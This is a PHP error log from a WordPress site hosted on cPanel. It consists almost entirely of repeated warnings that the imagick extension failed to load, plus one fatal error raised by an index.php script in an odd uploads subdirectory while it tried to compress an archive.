[28-Aug-2026 08:45:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:06 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:08 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:13 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:19 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:20 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:21 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:22 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:23 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:24 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:25 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:26 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:27 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:28 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:29 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:32 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:33 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:34 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:35 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:36 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:37 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:38 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:39 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:40 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:41 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:42 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:43 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:44 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:45 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:47 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:48 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:50 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:51 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:52 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:53 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:54 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:56 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:57 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:45:59 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:00 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:01 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:02 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:03 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:04 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:05 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 08:46:07 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:09 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:10 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:11 America/Sao_Paulo] PHP Notice:  Undefined variable: ext in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 1171
[28-Aug-2026 09:48:11 America/Sao_Paulo] PHP Fatal error:  Uncaught exception 'BadMethodCallException' with message 'phar "/home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/error_log.tar.gz" exists and must be unlinked prior to conversion' in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php:1171
Stack trace:
#0 /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php(1171): PharData->compress(4096, '.tar.gz')
#1 {main}
  thrown in /home/cienp/public_html/inct-inovamed/wp-includes/certificates/content/uploads/wyw/index.php on line 1171
[28-Aug-2026 09:48:11 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:12 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:16 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:17 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
[28-Aug-2026 09:48:18 America/Sao_Paulo] PHP Warning:  PHP Startup: Unable to load dynamic library '/opt/cpanel/ea-php56/root/usr/lib64/php/modules/imagick.so' - libMagickWand.so.5: cannot open shared object file: No such file or directory in Unknown on line 0
